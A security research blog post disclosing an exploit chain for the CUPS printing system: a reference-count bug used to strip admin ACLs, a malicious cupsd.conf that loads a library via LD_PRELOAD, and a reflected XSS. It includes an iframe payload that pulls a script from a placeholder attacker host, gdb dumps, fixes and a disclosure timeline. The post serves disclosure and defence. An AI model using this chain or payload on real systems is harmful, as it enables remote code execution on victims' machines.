Friday, June 19, 2015

Owning Internet Printing - A Case Study in Modern Software Exploitation

Guest posted by Neel Mehta ( - June 19th, 2015


Modern exploit mitigations draw attackers into a game of diminishing marginal returns. With each additional mitigation added, a subset of software bugs become unexploitable, and others become difficult to exploit, requiring application or even bug-specific knowledge that cannot be reused. The practical effect of exploit mitigations against any given bug or class of bugs is the subject of great debate amongst security researchers.

Despite mitigations, skilled and determined attackers alike remain undeterred. They cope by finding more bugs, and by crafting increasingly complex exploit chains. Attackers treat these exploits as closely-guarded, increasingly valuable secrets, and it's rare to see publicly-available full-fledged exploit chains. This visibility problem contributes to an attacker's advantage in the short term, but hinders broader innovation.

In this blog post, I describe an exploit chain for several bugs I discovered in CUPS, an open-source printing suite. I start by analyzing a relatively-subtle bug in CUPS string handling (CVE-2015-1158), an exploit primitive. I discuss key design and implementation choices that contributed to this bug. I then discuss how to build an exploit using the primitive. Next, I describe a second implementation error (CVE-2015-1159) that compounds the effect of the first, exposing otherwise unreachable instances of CUPS. Finally, I discuss the specific features and configuration options of CUPS that either helped or hindered exploitation.

By publishing this analysis, I hope to encourage transparent discourse on the state of exploits and mitigations, and inspire other researchers to do the same.


Cupsd uses reference-counted strings with global scope. When parsing a print job request, cupsd can be forced to over-decrement the reference count for a string from the request. As a result, an attacker can prematurely free an arbitrary string of global scope. I use this to dismantle ACL's protecting privileged operations, upload a replacement configuration file, then run arbitrary code.

The reference count over-decrement is exploitable in default configurations, and does not require any special permissions other than the basic ability to print. A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. The XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface.

Exploitation is near-deterministic, and does not require complex memory-corruption 'acrobatics'. Reliability is not affected by traditional exploit mitigations.


What is CUPS?

CUPS is a modular, feature-rich open-source printing system for Unix-based OS's. It abstracts the internals of printing a multitude of file formats on a multitude of printer hardware, reducing the need for printer-specific drivers.

CUPS is maintained by Apple, and runs on Linux, BSD, and variant OS's like Mac OS X. It is widely-deployed on desktops, laptops, network print servers, and even some embedded systems. CUPS is the reference implementation for IPP/2.0 and IPP/2.1, the latest replacement for LPD / LPR printing. The source tree for CUPS is large and complex, but not uniquely so, at more than 100,000 lines of ANSI C.

CUPS String Allocation Internals

CUPS makes widespread use of strings with managed-code-like properties. These strings are allocated by '_cupsStrAlloc()' (see cups/string.c:50),  which is used like 'strdup(3)', with one fundamental difference: strings are de-duplicated by content and reference counted.

Strings are owned by a global hash table (a 'cups_array_t' / '_cups_array_s' structure, defined in cups/array.c:39). '_cupsStrAlloc()' first checks the hash table for its input string (by content). If the string is in the hash table, it has been previously allocated, and its reference count is incremented. The existing string pointer (from the global array) is returned. If not found in the global hash table, a new heap block is allocated and populated, then inserted with a single reference.

To be clear, if two disparate functions call '_cupsStrAlloc()' for the same string content, they each get and share the same pointer to a single heap block.

When a string is allocated by '_cupsStrAlloc()', it must be released by a call to '_cupsStrFree()' (see cups/string.c:289). This function decrements the reference count, and if none remain it removes the string from the global hash table and frees the block, releasing it back to the allocator. '_cupsStrFree()' ignores pointers that aren't in the global hash table. This is fortuitous for exploitation, turning a historical vanilla double-free into a fault-resistant exploit primitive with global, content-targeted scope.

Reference Count Over-Decrement Issue

Proper IPP Attribute Teardown

IPP attributes are name-value pairs. They are typed (bool, integer, date, string, etc...), and can be organized in groups. Attributes can have multiple values (one name, associated with multiple values). Attribute types 'IPP_TAG_TEXTLANG' and 'IPP_TAG_NAMELANG' are localized. The character set for these attributes is specified once in the wire protocol, even when the attribute has multiple values (ie all values in the group use the charset).

Cups saves attributes in an 'ipp_attribute_t' / '_ipp_attribute_s' structure:

typedef struct _ipp_attribute_s ipp_attribute_t;

struct _ipp_attribute_s     /**** Attribute ****/
 ipp_attribute_t *next;    /* Next attribute in list */
 ipp_tag_t group_tag,    /* Job/Printer/Operation group tag */
   value_tag;    /* What type of value is it? */
 char    *name;      /* Name of attribute */
 int   num_values;   /* Number of values */
 _ipp_value_t  values[1];    /* Values */

The 'values' structure member holds a minimum of a single value. For multiple attributes, 'next' points to another attribute structure, containing the next value.

'_ipp_value_t' is defined as:


typedef union _ipp_value_u    /**** Attribute Value ****/
<portions omitted>

   char  *language;    /* Language code */
   char  *text;      /* String */
 }   string;     /* String with language value */

<portions omitted>

} _ipp_value_t;
typedef _ipp_value_t ipp_value_t; /**** Convenience typedef that will be removed @private@ ****/

IPP requests are made up of groups of attributes, sent in an HTTP request body. When cupsd receives a request, it parses all attribute groups in the request immediately, storing them all in an 'ipp_t' structure (defined in cups/ipp.h:799). String attributes are added to this structure by
'ippAddStrings()'. For multi-value localized string attributes, the first value's '_ipp_value_t.string.language' field is populated by '_cupsStrAlloc()' (which ups the refcount once).

In a quirky but sweet "academic" implementation choice, subsequent values have their '_ipp_value_t.string.language' field shallow-copied from the first value (the refcount is not increased). This mirrors a design choice in the wire protocol, whereby IPP saves bytes on the wire by including the charset only once for a group of values.


 * Initialize the attribute data...

 for (i = num_values, value = attr->values;
      i > 0;
      i --, value ++)
   if (language)
     if (value == attr->values)
       if ((int)value_tag & IPP_TAG_CUPS_CONST)
         value->string.language = (char *)language;
         value->string.language = _cupsStrAlloc(ipp_lang_code(language, code,    ←  increases refcount
 value->string.language = attr->values[0].string.language;             ←  shallow copy

To free this type of attribute correctly, '_cupsStrFree()' should be called once, on the first value's 'string.language' pointer.. IPP attributes are usually freed by a purpose-built routine 'ippDeleteAttribute()', which calls 'ipp_free_values()' to free the language correctly:


   switch (attr->value_tag)
     case IPP_TAG_TEXTLANG :
     case IPP_TAG_NAMELANG :
   if (element == 0 && count == attr->num_values &&
     _cupsStrFree(attr->values[0].string.language);         ←  release language only once here
     attr->values[0].string.language = NULL;
   /* Fall through to other string values */

     case IPP_TAG_TEXT :
     case IPP_TAG_NAME :
     case IPP_TAG_KEYWORD :
     case IPP_TAG_URI :
     case IPP_TAG_CHARSET :
     case IPP_TAG_LANGUAGE :
     case IPP_TAG_MIMETYPE :
   for (i = count, value = attr->values + element;          ←  for subsequent values, don't free language again
        i > 0;
        i --, value ++)
     value->string.text = NULL;

Improper Teardown - Reference Count Over-Decrement (CVE-2015-1158)

When freeing localized multi-value attributes, the reference count on the language string is over-decremented when creating a print job whose 'job-originating-host-name' attribute has more than one value. In 'add_job()', cupsd incorrectly frees the 'language' field for all strings in a group, instead of using 'ipp_free_values()'.


     * Free old strings…       ←  Even 'old' strings need to be freed.

     for (i = 0; i < attr->num_values; i ++)
       attr->values[i].string.text = NULL;
       if (attr->values[i].string.language)           ←  for all values in an attribute
   _cupsStrFree(attr->values[i].string.language);     ←  free the 'language' string
   attr->values[i].string.language = NULL;

In this case, 'language' field comes from the value of the 'attributes-natural-language' attribute in the request.

To specifically target a string and free it, we send a 'IPP_CREATE_JOB' or 'IPP_PRINT_JOB' request with a multi-value 'job-originating-host-name' attribute. The number of 'job-originating-host-name' values controls how many times the reference count is decremented. For a 10-value attribute, the reference count for 'language' is increased once, but decremented 10 times.

The over-decrement prematurely frees the heap block for the target string. The actual block address will be quickly re-used by subsequent allocations.

Dangling pointers to the block remain, but the content they point to changes when blocks are freed or reused. This is the basic exploit primitive upon which we build.

Exploit Strategy

ACL Implementation

Cupsd allows the main configuration file to be remotely changed via an HTTP PUT request to '/admin/conf/cupsd.conf'. This is a privileged operation, protected by an ACL in the default configuration file:


# Restrict access to the admin pages...
<Location /admin>
 Order allow,deny

# Restrict access to configuration files...
<Location /admin/conf>
 AuthType Default
 Require user @SYSTEM
 Order allow,deny

This 'Location' directive is stored in a global array 'Locations', which is an array of 'cupsd_location_t' structures:


typedef struct
 char      *location;  /* Location of resource */
 size_t    length;   /* Length of location string */
 ipp_op_t    op;   /* IPP operation */
 int     limit,    /* Limit for these types of requests */
     order_type, /* Allow or Deny */
     type,   /* Type of authentication */
     level,    /* Access level required */
     satisfy;  /* Satisfy any or all limits? */
 cups_array_t    *names,   /* User or group names */
     *allow,   /* Allow lines */
     *deny;    /* Deny lines */
 http_encryption_t encryption; /* To encrypt or not to encrypt... */  ← Very existential :)
} cupsd_location_t;

The 'location' field in each structure holds the path from the 'Location' configuration directive, and fortuitously happens to be a reference counted string.

CUPS matches requests to a 'Location' ACL via 'cupsdFindBest()', which searches for the 'Location' directive that matches the largest canonical portion of the requested path. For example, a 'PUT /admin/conf/cupsd.conf' would match the 'Location' '/admin/conf' better than '/admin', and fall under that (in this case more-restrictive) ACL. If the 'Location' directive for '/admin/conf' didn't exist, the request would instead match the less-specific 'Location' ACL for '/admin', or eventually simply a default ACL for '/'.

The fidelity of string content for 'Location' directives is important, perhaps.

Use of the Basic Exploit Primitive

I use our basic exploit primitive to target the 'location' path strings in the two 'cupsd_location_t' structures for the above-mentioned 'Location' directives.

I over-decrement reference counts on strings '/admin/conf' and '/admin'. The 'location' pointers in the 'cupsd_location_t' remain dangling, and point to different content when the block is re-used and overwritten.

As a result, the ACL's fail to match their intended requests. This allows unrestricted access to privileged operations, allowing an un-authenticated user to upload a replacement configuration file.

Here's a gdb dump of the exploit leaking reference counts for '/admin/conf':

(gdb) x/gx 0x7F0D577C7000+0x2639C0
0x7f0d57a2a9c0 <Locations>: 0x00007f0d5980c8e0
(gdb) x/64gx 0x00007f0d5980c8e0
0x7f0d5980c8e0: 0x0000001000000003  0x0000000000000003
0x7f0d5980c8f0: 0x0000000000000001  0x0000000000000000
0x7f0d5980c900: 0x0000000000000000  0x0000000000000000
0x7f0d5980d120: 0x0000000000000000  0x0000000000000051
0x7f0d5980d130: 0x00007f0d5980d184  0x0000007f00000000
0x7f0d5980d140: 0x0000000100000006  0x0000000000000000
0x7f0d5980d150: 0x0000000000000000  0x0000000000000000
0x7f0d5980d160: 0x0000000000000000  0x0000000000000000
0x7f0d5980d170: 0x0000000000000000  0x0000000000000021
0x7f0d5980d180: 0x6d64612f00000001  0x0000000000006e69
0x7f0d5980d190: 0x0000000000000000  0x0000000000000051
0x7f0d5980d1a0: 0x00007f0d5980d1f4  0x0000007f00000000 ← Pointer to '/admin/conf' here.
0x7f0d5980d1b0: 0x000000010000000b  0x00000001ffffffff
0x7f0d5980d1c0: 0x0000000000000000  0x00007f0d5980d210
0x7f0d5980d1d0: 0x0000000000000000  0x0000000000000000
0x7f0d5980d1e0: 0x0000000000000000  0x0000000000000021
0x7f0d5980d1f0: 0x6d64612f00000001  0x00666e6f632f6e69
0x7f0d5980d200: 0x0000000000000000  0x00000000000000e1
(gdb) x/s 0x00007f0d5980d1f4
0x7f0d5980d1f4: "/admin/conf"
(gdb) x/20i 0x7F0D577C7000+0x12A10  ← Reference count over-decrement code in 'add_job()'.
  0x7f0d577d9a10:  movslq %r14d,%r12
  0x7f0d577d9a13:  add    $0x2,%r12
  0x7f0d577d9a17:  shl    $0x4,%r12
  0x7f0d577d9a1b:  add    %r15,%r12
  0x7f0d577d9a1e:  mov    0x8(%r12),%rdi
  0x7f0d577d9a23:  callq  0x7f0d577d3010 <_cupsStrFree@plt>
  0x7f0d577d9a28:  mov    (%r12),%rdi
  0x7f0d577d9a2c:  movq   $0x0,0x8(%r12)
  0x7f0d577d9a35:  test   %rdi,%rdi
  0x7f0d577d9a38:  je     0x7f0d577d9a47
  0x7f0d577d9a3a:  callq  0x7f0d577d3010 <_cupsStrFree@plt>
  0x7f0d577d9a3f:  movq   $0x0,(%r12)
  0x7f0d577d9a47:  inc    %r14d
  0x7f0d577d9a4a:  jmp    0x7f0d577d9a4f
  0x7f0d577d9a4c:  xor    %r14d,%r14d
  0x7f0d577d9a4f:  cmp    %r14d,0x18(%r15)
  0x7f0d577d9a53:  jg     0x7f0d577d9a10
  0x7f0d577d9a55:  lea    0x38(%rbx),%rdi
  0x7f0d577d9a59:  movl   $0x42,0xc(%r15)
  0x7f0d577d9a61:  movl   $0x1,0x18(%r15)
(gdb) b *0x7f0d577d9a10
Breakpoint 1 at 0x7f0d577d9a10
(gdb) c

Breakpoint 1, 0x00007f0d577d9a10 in ?? ()
(gdb) display/i $rip
1: x/i $rip
=> 0x7f0d577d9a10:  movslq %r14d,%r12
(gdb) x/16gx $r15
0x7f0d59b422b0: 0x00007f0d59b65ec0  0x0000003600000002
0x7f0d59b422c0: 0x00007f0d59805f44  0x000000000000000d
0x7f0d59b422d0: 0x00007f0d5980d1f4  0x00007f0d59a5a494  ← The same pointer as found in 'Locations'
0x7f0d59b422e0: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b422f0: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b42300: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b42310: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b42320: 0x00007f0d5980d1f4  0x00007f0d59a5a494
(gdb) x/16gx 0x00007f0d5980d1f4-4
0x7f0d5980d1f0: 0x6d64612f00000007  0x00666e6f632f6e69  ← The current reference count is 7.
0x7f0d5980d200: 0x0000000000000000  0x00000000000000e1
0x7f0d5980d210: 0x0000001000000001  0x00000000ffffffff
0x7f0d5980d220: 0x0000000000000001  0x0000000000000000
0x7f0d5980d230: 0x0000000000000000  0x0000000000000000
0x7f0d5980d240: 0x0000000000000000  0x0000000000000000
0x7f0d5980d250: 0x0000000000000000  0x0000000000000000
0x7f0d5980d260: 0x0000000000000000  0x0000000000000000
(gdb) b *0x7f0d577d9a55  ← Break after end of loop, after reference count hits zero.
Breakpoint 2 at 0x7f0d577d9a55
(gdb) delete 1
(gdb) c

Breakpoint 2, 0x00007f0d577d9a55 in ?? ()
1: x/i $rip
=> 0x7f0d577d9a55:  lea    0x38(%rbx),%rdi
(gdb) x/16gx 0x7f0d5980d1f0
0x7f0d5980d1f0: 0x00007f0d59a5a2f0  0x00666e6f632f6e69  ← Now a free list pointer (was refcount + string start).
0x7f0d5980d200: 0x0000000000000000  0x00000000000000e1
0x7f0d5980d210: 0x0000001000000001  0x00000000ffffffff
0x7f0d5980d220: 0x0000000000000001  0x0000000000000000
0x7f0d5980d230: 0x0000000000000000  0x0000000000000000
0x7f0d5980d240: 0x0000000000000000  0x0000000000000000
0x7f0d5980d250: 0x0000000000000000  0x0000000000000000
0x7f0d5980d260: 0x0000000000000000  0x0000000000000000
(gdb) x/s 0x7f0d5980d1f4
0x7f0d5980d1f4: "\r\177" ← Actual content unpredictable, but predictably not '/admin/conf'.
(gdb) x/16bx 0x7f0d5980d1f0
0x7f0d5980d1f0: 0xf0  0xa2  0xa5  0x59  0x0d  0x7f  0x00  0x00
0x7f0d5980d1f8: 0x69  0x6e  0x2f  0x63  0x6f  0x6e  0x66  0x00

Code Execution Via Changes to 'cupsd.conf'

SetEnv Directives

After using the basic exploit primitive to strip ACL's, I can now specify an arbitrary new configuration file for cupsd. To run arbitrary code via configuration changes, I use the 'SetEnv' directive. Cupsd invokes CGI applications for certain requests, and the 'SetEnv' directive allows us to set arbitrary environment variables for these CGI processes.

For MacOS X targets, we use the 'DYLD_INSERT_LIBRARIES' environment variable to load a library off disk into cups CGI requests. On Linux targets, I use the equivalent, 'LD_PRELOAD':

LogLevel debug2
Listen *:631
DefaultAuthType None
WebInterface Yes
MaxClients 1024
<Location />
 Allow from *
 Order deny,allow
<Policy default>
 JobPrivateAccess default
 JobPrivateValues default
 SubscriptionPrivateAccess default
 SubscriptionPrivateValues default
 <Limit All>
   Order deny,allow
<Policy authenticated>
 JobPrivateAccess default
 JobPrivateValues default
 SubscriptionPrivateAccess default
 SubscriptionPrivateValues default
 <Limit All>
   Order deny,allow
<Policy kerberos>
 JobPrivateAccess default
 JobPrivateValues default
 SubscriptionPrivateAccess default
 SubscriptionPrivateValues default
 <Limit All>
   Order deny,allow
SetEnv LD_PRELOAD /var/spool/cups/000000ff

Seeding Library Files on Disk

To use 'SetEnv' to run code, I need to be able to write a shared library to disk, and do so in a predictable location. Cupsd stores POST bodies to disk in the 'RequestRoot' directory (on MacOS X '/private/var/spool/cups/', on Linux '/var/spool/cups'). The full filename is constructed as follows in 'cupsdReadClient()':


           cupsdSetStringf(&con->filename, "%s/%08x", RequestRoot,
                     request_id ++);
     con->file = open(con->filename, O_WRONLY | O_CREAT | O_TRUNC, 0640);

Where 'request_id' is a static integer, counting up from 0 for the lifetime of the process. This introduces some uncertainty into the filenames, but this can be countered by sending many POST requests.

When a POST request is completely received, the request is processed and the temporary file is deleted. However, if the client closes the connection before cupsd receives the entire POST body, the files linger on disk.

On Mac OS X Yosemite with cups-2.0.2, this exploitation method yields root privileges. On some older versions of cups, and on Linux, this technique will yield execution as the 'lp' or '_lp' user.

Background on IPP (really just HTTP)

For the purposes of exploitation, IPP is really just HTTP.

RFC 2910, "Internet Printing Protocol/1.1: Encoding and Transport", states the following in Section 4:

HTTP/1.1 [RFC2616] is the transport layer for this protocol.


It is REQUIRED that a printer implementation support HTTP over the
IANA assigned Well Known Port 631 (the IPP default port), though a
printer implementation may support HTTP over some other port as well.

Cupsd listens on TCP/631, and answers HTTP requests with its own full-featured HTTP server implementation. This includes a full CGI implementation, and a basic template implementation.

Attack Surface Reduction in CUPS

On desktop machines, cupsd typically listens on a loopback interface, and is not remotely accessible, at least not directly:

# Only listen for connections from the local machine.
Listen localhost:631

The HTTP features required for basic printing are logically separated from less essential functions, like CGI applications, by the 'WebInterface' configuration setting.

Many Linux distributions ship with the web interface enabled, and as a result expose significantly more attack surface. Here's the setting from /etc/cups/cupsd.conf on Ubuntu 14.10:

# Web interface setting...
WebInterface Yes

By default on Mac OS X, the web interface is disabled:

# Web interface setting...
WebInterface No


CUPS Template Basics

CUPS CGI applications use a simple, custom templating engine for HTML. It substitutes CGI arguments into templates, and supports some basic conditional statements. Here's an example of how it is used, from cgi-bin/jobs.c:93:

     * Bad operation code...  Display an error...


The template 'error-op.tmpl' has the following contents:

<H2 CLASS="title">{?title} {?printer_name} Error</H2>


<BLOCKQUOTE>Unknown operation "{op}"!</BLOCKQUOTE>

Substitutions are made from CGI arguments denoted in '{braces}'.

A Reflected XSS in the Web Interface (CVE-2015-1159)

The template engine is only vaguely context-aware, and only supports HTML. Template parsing and variable substitution and escaping are handled in 'cgi_copy()'.

The template engine has 2 special cases for 'href' attributes from HTML links. The first case 'cgi_puturi()' is unused in current templates, but the second case ends up being interesting.

The code is found in 'cgi_puts()', and escapes the following reserved HTML characters:

These are replaced with their HTML entity equivalents ('&lt;' etc...).

The function contains a curious special case to deal with HTML links in variable values. Here is a code snippet, from cgi-bin/template.c:650:

   if (*s == '<')
     * Pass <A HREF="url"> and </A>, otherwise quote it...

     if (!_cups_strncasecmp(s, "<A HREF=\"", 9))
       fputs("<A HREF=\"", out);
 s += 9;

 while (*s && *s != '\"')
         if (*s == '&')
           fputs("&amp;", out);
     putc(*s, out);

   s ++;

       if (*s)
   s ++;

 fputs("\">", out);

For variable values containing '<a href="', all subsequent characters before a closing double-quote are subject to less restrictive escaping, where only the '&' character is escaped. The characters <>', and a closing " would normally be escaped, but are echoed unaltered in this context.

Note that the data being escaped here is client-supplied input, the variable value from the CGI argument. This code may have been intended to deal with links passed as CGI arguments. However, the template engine's limited context-awareness becomes an issue.

Take this example from templates/help-header.tmp:19:

<P CLASS="l0"><A HREF="/help/{QUERY??QUERY={QUERY}:}">All Documents</A></P>

In this case, the CGI argument 'QUERY' is already contained inside a 'href' attribute of a link. If 'QUERY' starts with '<a href="', the double-quote will close the 'href' attribute opened in the static portion of the template. The remainder of the 'QUERY' variable will be interpreted as HTML tags.

Requesting the following URI will demonstrate this reflected XSS:

The 'QUERY' parameter is included in the page twice, leading to multiple unbalanced double-quotes. As such, the open comment string '<!--' is used to yield a HTML page that parses without errors.

Reaching Otherwise Unreachable Schedulers

This reflected XSS can be used to inject attacker-supplied Javascript cross-origin, bootstrapping exploitation of the string reference count vulnerability for CUPS scheduler instances not directly reachable via the network. For example, CUPS instances bound only to a localhost interface can be exploited when a target user browses the web.

First, I'll try to fetch a page protected by ACL's, to demonstrate the default state. I get an HTTP 403 and an authentication prompt, as expected:


I see that my ACL's are working:


Now, the target user browses the web to some site they're interested in. This site contains an attacker-supplied iframe that triggers the reflected XSS:

<title>Right Ho, Jeeves</title>
 <img src="triturus_cristatus.jpg" width="200" height="200">
<iframe src="http://localhost:631/help/?QUERY=%3Ca%20href=%22%20%3E%3Cscript%20src=%27http://test.evildomain/dronesclub.js%27%3E%3C/script%3E%3C!--&SEARCH=Search" width="1024" height="500" tabindex="-1" title="nothiddeniframe">

Typically, this would be a hidden iframe, but in this case I visually display exploit debugging output, replacing 'document.body' (it was originally the CUPS help CGI output, which is ironically less informative in this case):


At this point, I have run attacker-supplied javascript in the 'localhost:631' origin, and issued HTTP / IPP requests to exploit the reference count over-decrement bug. To determine if CUPS is owned, I reload the config file page, from the first screen capture. As you can see, I've now successfully exploited a localhost-bound CUPS as the target browses the web. The target (me) is unlikely to have noticed:


Factors Affecting Scope and Impact

Vulnerability Lifetimes

The string reference count bug was introduced in CUPS 1.2.0, released mid-2006. All versions since are affected. Given the large number of affected versions, the vast majority of live unpatched CUPS installations contain the vulnerable code. A similar bug, a vanilla double-free, is present in the earliest available CUPS 1.0 versions.

The introduction of the 'WebInterface' configuration setting in CUPS 1.5.0 influences reachability on Mac OS X by default, but not on Linux.

Printer Configuration

In its initial install state, CUPS does not have a printer installed or configured, a prerequisite for exploitation. Some systems are unlikely to ever have a printer configured. Adding a printer is a privileged operation, and cannot be accomplished without authentication.

To add a printer, a CUPS user must have permission to perform the 'CUPS-Add-Modify-Printer' operation. From any TCP/IP socket connection to cupsd, this requires user credentials on the target machine. CUPS also listens on a Unix domain socket, where adding a printer is implicitly authenticated by the underlying socket.

The following configuration directive from '/etc/cups/cupsd.conf' prevents remotely adding a new printer without authenticating:

 <Limit CUPS-Add-Modify-Printer CUPS-Delete-Printer CUPS-Add-Modify-Class CUPS-Delete-Class CUPS-Set-Default CUPS-Get-Devices>
   AuthType Default
   Require user @SYSTEM
   Order deny,allow

When a machine prints to a network printer, or shares a locally-attached printer with other computers on a network, a printer will be configured with CUPS. For example, the printer configuration setup UI in the Mac OS X settings pane adds printers to CUPS. If a user has never added a printer or printed anything, they will be unaffected.

Lack of Chroot, and Minimal Sandboxing

The string reference count vulnerability is triggered in code that runs as 'root'. CUPS launches sub-processes via 'cups-exec', which acts as an interstitial for CGI scripts, and creates a sandbox profile on Mac OS X. On Linux, no sandboxing is used.

Print Permissions

In order to exploit the vulnerability, the exploit must be delivered from a machine permitted to print. This is strictly defined as having permission to send POST requests to cupsd, and the permission to perform the 'Create-Job' or 'Print-Job' operation.

The ability to send any POST requests to cupsd may be restricted by the following configuration directive from '/etc/cups/cupsd.conf':

# Restrict access to the server...
<Location />  ← ACL for path /
 Order allow,deny

POST requests to '/printers/*' match this restriction, which defaults to 'deny'.

Requests to print from 'localhost' are allowed irrespective of configuration. When a machine is purpose-configured as a network print server, an 'Allow' directive would have to be added to the 'Location' directive above to allow any network printing. For more information, see:

As for the permission to 'Create-Job' or 'Print-Job', these operations aren't restricted in the default configuration:

 <Limit Create-Job Print-Job Print-URI Validate-Job>
   Order deny,allow

Printer Names

In order to craft input to exploit this vulnerability, the name of a configured printer must be known to an attacker. Printer names are not sensitive information, and can be incidentally exposed via other CUPS components like the browser. Knowing a printer name is a basic requirement to print anything.

If the attacker does not know a printer name from some other means, the names of all printers on a machine can be retrieved via the 'CUPS-Get-Printers' operation. This operation is not explicitly mentioned in the default configuration file, and therefore is not explicitly restricted (similar to  'Create-Job' or 'Print-Job').

Browsers Can Talk IPP

The same-origin policy is an important security barrier that prevents an attacker from meaningfully-interacting directly with cupsd while a user browses the web.

Users who have the CUPS 'WebInterface' disabled are not susceptible to the specific reflected XSS issue.

In theory, universal XSS bugs in browser components could be used in place of this specific XSS to exploit otherwise-unreachable CUPS instances. Ultimately, this is simply to be expected, since IPP is just HTTP at the transport layer.

Excluding same-origin policy restrictions, an attacker could exploit this vulnerability with standard features of the XMLHTTPRequest class in browsers.

A universal XSS could theoretically exploit this bug if it allowed an attacker to do the following:
  • Send POST requests cross-origin to localhost:631.
  • Specify binary contents in the POST bodies.
  • Set the 'Content-Type' header to 'application/ipp'.
  • Receive the response body contents from the cupsd server.

Browser XSS Inspectors

Some browsers, such as Chrome, contain detection for reflected XSS attacks. These features look for client request content that is echoed back verbatim in a server's reply. In general, these XSS detectors are not considered a credible security barrier, but rather a defense-in-depth mechanism. In this case, they appear effective, at least for some templates.

CUPS and Browser Sandboxes

Many browser sandboxes provide a privileged supervisor that performs HTTP requests on behalf of a unprivileged (potentially untrusted) child process. When enforcement of same-origin-policy restrictions is left to the child process, a compromised child could request that the supervisor send HTTP POST requests to 'cupsd' locally, exploiting it and breaking out of the sandbox.

CUPS May be Used in Unexpected Places

The exposure of CUPS running on desktop and network print servers is discussed at length, and easily anticipated and patched. However, CUPS may be embedded in unexpected places, where one might not even think to patch them.

For example, CUPS has been adapted for use in OpenWRT:

Disabling the Web Interface

The CUPS web interface can be disabled by the 'WebInterface' configuration setting. This is a significant attack-surface reduction, and already the default on Mac OS X. Disabling it manually is required for Linux systems:

# Web interface setting...
WebInterface No

Upstream Fixes

Apple Fix (April 16, 2015):

Official CUPS fix for downstream vendors (June 8, 2015):

Project Zero Bug

For those interested, the sample exploit can be found here.

Disclosure Timeline

  • March 20th, 2015 - Initial notification to Apple
  • April 16th, 2015 - Apple ships fix in Mac OS X 10.10.3
  • June 8th, 2015 - CUPS ships official fix in CUPS 2.0.3
  • June 18th, 2015 - Disclosure + 90 days
  • June 19th, 2015 - P0 publication

Attack Surface Reduction in CUPS 2.0.3+

CUPS 2.0.3 and 2.1 beta contains several prescient implementation changes to limit the risk and impact of future similar bugs:

  • Configuration value strings are now logically separated from the string pool, allocated by strdup() instead.
  • LD_* and DYLD_* environment variables are blocked when CUPS is running as root.
  • The localhost listener is removed when 'WebInterface' is disabled (2.1 beta only).


Thanks to Ben Hawkes, Stephan Somogyi, and Mike Sweet for their comments and edits.


No one prints anything anymore anyways.


  1. Depending on whether the user's DNS servers performs IP filtering ( doesn't) you don't need the XSS vulnerability because DNS rebinding gives you a universal same origin bypass against IP based filtering.

  2. I did attempt DNS rebinding, but did not find it as simple as you suggest. It was complicated by some CUPS-specific code, which checks that the 'Host: ' header reads as 'localhost' or similar for requests from the local machine.

  3. FWIW, CUPS has had Host: header validation for a while now to protect against DNS rebinding attacks, and doing this sort of validation is required for IPP Everywhere and AirPrint. In the case of CUPS, any access over the loopback interface or domain socket has to use "localhost" or the specific IP address.

    Also, there is a minor technical error in the description of how testWithLanguage and nameWithLanguage values are encoded in IPP - each value contains both a language (character set) and string. It is only the CUPS implementation that (currently) limits sets (arrays) of 'WithLanguage values to a single character set.

  4. I am software engineer and now a day i research in automotive software so i find the appropriate data for case study analysis of that software and your blog help me to find the relevant information regarding them .

  5. What operation did you use to load the shared lib? Trying "print test page" on linux results in " object /var/spool/cups/0000000f from LD_PRELOAD cannot be preloaded (failed to map segment from shared object)". I can load that file manually in a console with LD_PRELOAD, but here it fails. Not sure why.